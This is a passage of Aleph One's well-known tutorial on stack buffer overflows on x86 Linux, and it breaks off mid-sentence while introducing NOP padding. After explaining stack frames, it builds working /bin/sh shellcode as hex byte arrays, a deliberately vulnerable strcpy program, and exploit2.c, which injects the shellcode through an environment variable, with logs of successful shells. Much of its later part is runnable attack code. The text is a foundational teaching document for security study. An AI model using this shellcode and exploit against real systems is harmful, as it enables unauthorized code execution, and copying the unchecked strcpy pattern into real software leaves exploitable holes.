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                     Smashing The Stack For Fun And Profit
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                                 by Aleph One
                             aleph1@underground.org

        `smash the stack` [C programming] n. On many C implementations
        it is possible to corrupt the execution stack by writing past
        the end of an array declared auto in a routine.  Code that does
        this is said to smash the stack, and can cause return from the
        routine to jump to a random address.  This can produce some of
        the most insidious data-dependent bugs known to mankind.
        Variants include trash the stack, scribble the stack, mangle
        the stack; the term mung the stack is not used, as this is
        never done intentionally. See spam; see also alias bug,
        fandango on core, memory leak, precedence lossage, overrun screw.


                                 Introduction
                                 ~~~~~~~~~~~~

   Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited.  Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc.  This paper attempts to explain what buffer overflows
are, and how their exploits work.

   Basic knowledge of assembly is required.  An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.

   Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type.  C programmers normally associate with the word buffer arrays. Most
commonly, character arrays.  Arrays, like all variables in C, can be
declared either static or dynamic.  Static variables are allocated at load
time on the data segment.  Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.


                          Process Memory Organization
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~~

   To understand what stack buffers are we must first understand how a
process is organized in memory.  Processes are divided into three regions:
Text, Data, and Stack.  We will concentrate on the stack region, but first
a small overview of the other regions is in order.

   The text region is fixed by the program and includes code (instructions)
and read-only data.  This region corresponds to the text section of the
executable file.  This region is normally marked read-only and any attempt to
write to it will result in a segmentation violation.

   The data region contains initialized and uninitialized data.  Static
variables are stored in this region.  The data region corresponds to the
data-bss sections of the executable file.  Its size can be changed with the
brk(2) system call.  If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the data
and stack segments.

                             /------------------\  lower
                             |                  |  memory
                             |       Text       |  addresses
                             |                  |
                             |------------------|
                             |   (Initialized)  |
                             |        Data      |
                             |  (Uninitialized) |
                             |------------------|
                             |                  |
                             |       Stack      |  higher
                             |                  |  memory
                             \------------------/  addresses

                         Fig. 1 Process Memory Regions


                               What Is A Stack?
                               ~~~~~~~~~~~~~~~~

   A stack is an abstract data type frequently used in computer science.  A
stack of objects has the property that the last object placed on the stack
will be the first object removed.  This property is commonly referred to as
last in, first out queue, or a LIFO.

   Several operations are defined on stacks.  Two of the most important are
PUSH and POP.  PUSH adds an element at the top of the stack.  POP, in
contrast, reduces the stack size by one by removing the last element at the
top of the stack.


                            Why Do We Use A Stack?
                            ~~~~~~~~~~~~~~~~~~~~~~

   Modern computers are designed with the need of high-level languages in
mind.  The most important technique for structuring programs introduced by
high-level languages is the procedure or function.  From one point of view, a
procedure call alters the flow of control just as a jump does, but unlike a
jump, when finished performing its task, a function returns control to the
statement or instruction following the call.  This high-level abstraction
is implemented with the help of the stack.

  The stack is also used to dynamically allocate the local variables used in
functions, to pass parameters to the functions, and to return values from the
function.


                               The Stack Region
                               ~~~~~~~~~~~~~~~~

   A stack is a contiguous block of memory containing data.  A register called
the stack pointer (SP) points to the top of the stack.  The bottom of the
stack is at a fixed address.  Its size is dynamically adjusted by the kernel
at run time. The CPU implements instructions to PUSH onto and POP off of the
stack.

   The stack consists of logical stack frames that are pushed when calling a
function and popped when returning.  A stack frame contains the parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at the
time of the function call.

   Depending on the implementation the stack will either grow down (towards
lower memory addresses), or up.  In our examples we'll use a stack that grows
down.  This is the way the stack grows on many computers including the Intel,
Motorola, SPARC and MIPS processors.  The stack pointer (SP) is also
implementation dependent.  It may point to the last address on the stack, or
to the next free available address after the stack.  For our discussion we'll
assume it points to the last address on the stack.

   In addition to the stack pointer, which points to the top of the stack
(lowest numerical address), it is often convenient to have a frame pointer
(FP) which points to a fixed location within a frame.  Some texts also refer
to it as a local base pointer (LB).  In principle, local variables could be
referenced by giving their offsets from SP.  However, as words are pushed onto
the stack and popped from the stack, these offsets change.  Although in some
cases the compiler can keep track of the number of words on the stack and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required.  Futhermore, on some machines, such
as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions.

   Consequently, many compilers use a second register, FP, for referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs.  On Intel CPUs, BP (EBP) is used for this
purpose.  On the Motorola CPUs, any address register except A7 (the stack
pointer) will do.  Because the way our stack grows, actual parameters have
positive offsets and local variables have negative offsets from FP.

   The first thing a procedure must do when called is save the previous FP
(so it can be restored at procedure exit).  Then it copies SP into FP to
create the new FP, and advances SP to reserve space for the local variables.
This code is called the procedure prolog.  Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog.  The Intel
ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.

   Let us see what the stack looks like in a simple example:

example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
------------------------------------------------------------------------------

   To understand what the program does to call function() we compile it with
gcc using the -S switch to generate assembly code output:

$ gcc -S -o example1.s example1.c

   By looking at the assembly language output we see that the call to
function() is translated to:

        pushl $3
        pushl $2
        pushl $1
        call function

    This pushes the 3 arguments to function backwards into the stack, and
calls function().  The instruction 'call' will push the instruction pointer
(IP) onto the stack.  We'll call the saved IP the return address (RET).  The
first thing done in function is the procedure prolog:

        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp

   This pushes EBP, the frame pointer, onto the stack.  It then copies the
current SP onto EBP, making it the new FP pointer.  We'll call the saved FP
pointer SFP.  It then allocates space for the local variables by subtracting
their size from SP.

   We must remember that memory can only be addressed in multiples of the
word size.  A word in our case is 4 bytes, or 32 bits.  So our 5 byte buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
is going to take 12 bytes (3 words) of memory.  That is why SP is being
subtracted by 20.  With that in mind our stack looks like this when
function() is called (each space represents a byte):


bottom of                                                            top of
memory                                                               memory
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]
        
top of                                                            bottom of
stack                                                                 stack


                               Buffer Overflows
                               ~~~~~~~~~~~~~~~~

   A buffer overflow is the result of stuffing more data into a buffer than
it can handle.  How can this often found programming error can be taken
advantage to execute arbitrary code?  Lets look at another example:

example2.c
------------------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';

  function(large_string);
}
------------------------------------------------------------------------------

   This is program has a function with a typical buffer overflow coding
error.  The function copies a supplied string without bounds checking by
using strcpy() instead of strncpy().  If you run this program you will get a
segmentation violation.  Lets see what its stack looks when we call function:


bottom of                                                            top of
memory                                                               memory
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack


   What is going on here?  Why do we get a segmentation violation?  Simple.
strcpy() is coping the contents of *str (larger_string[]) into buffer[]
until a null character is found on the string.  As we can see buffer[] is
much smaller than *str.  buffer[] is 16 bytes long, and we are trying to stuff
it with 256 bytes.  This means that all 250 bytes after buffer in the stack
are being overwritten.  This includes the SFP, RET, and even *str!  We had
filled large_string with the character 'A'.  It's hex character value
is 0x41.  That means that the return address is now 0x41414141.  This is
outside of the process address space.  That is why when the function returns
and tries to read the next instruction from that address you get a
segmentation violation.

   So a buffer overflow allows us to change the return address of a function.
In this way we can change the flow of execution of the program.  Lets go back
to our first example and recall what the stack looked like:


bottom of                                                            top of
memory                                                               memory
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack


   Lets try to modify our first example so that it overwrites the return
address, and demonstrate how we can make it execute arbitrary code.  Just
before buffer1[] on the stack is SFP, and before it, the return address.
That is 4 bytes pass the end of buffer1[].  But remember that buffer1[] is
really 2 word so its 8 bytes long.  So the return address is 12 bytes from
the start of buffer1[].  We'll modify the return value in such a way that the
assignment statement 'x = 1;' after the function call will be jumped.  To do
so we add 8 bytes to the return address.  Our code is now:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

   What we have done is add 12 to buffer1[]'s address.  This new address is
where the return address is stored.  We want to skip pass the assignment to
the printf call.  How did we know to add 8 to the return address?  We used a
test value first (for example 1), compiled the program, and then started gdb:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes. Shell Code ~~~~~~~~~~ So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack The code to spawn a shell in C looks like: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Lets try to understand what is going on here. We'll start by studying main: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its: char *name[2]; or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to: name[1] = NULL; The actual call to execve() starts here. 0x8000144 : pushl $0x0 We push the arguments to execve() in reverse order onto the stack. We start with NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax We load the address of name[] into the EAX register. 0x8000149 : pushl %eax We push the address of name[] onto the stack. 0x800014a : movl 0xfffffff8(%ebp),%eax We load the address of the string "/bin/sh" into the EAX register. 0x800014d : pushl %eax We push the address of the string "/bin/sh" onto the stack. 0x800014e : call 0x80002bc <__execve> Call the library procedure execve(). The call instruction pushes the IP onto the stack. ------------------------------------------------------------------------------ Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx The procedure prelude. 0x80002c0 <__execve+4>: movl $0xb,%eax Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copy the address of "/bin/sh" into EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copy the address of name[] into ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copy the address of the null pointer into %edx. 0x80002ce <__execve+18>: int $0x80 Change into kernel mode. ------------------------------------------------------------------------------ So as we can see there is not much to the execve() system call. All we need to do is: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data! The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ The problem is that we don't know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller). Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Our improved code: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ And our new test program: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Writing an Exploit ~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~ Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell. The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Lets assume this is the program we are trying to overflow is: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Now we can try to guess what the buffer and offset should be: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take 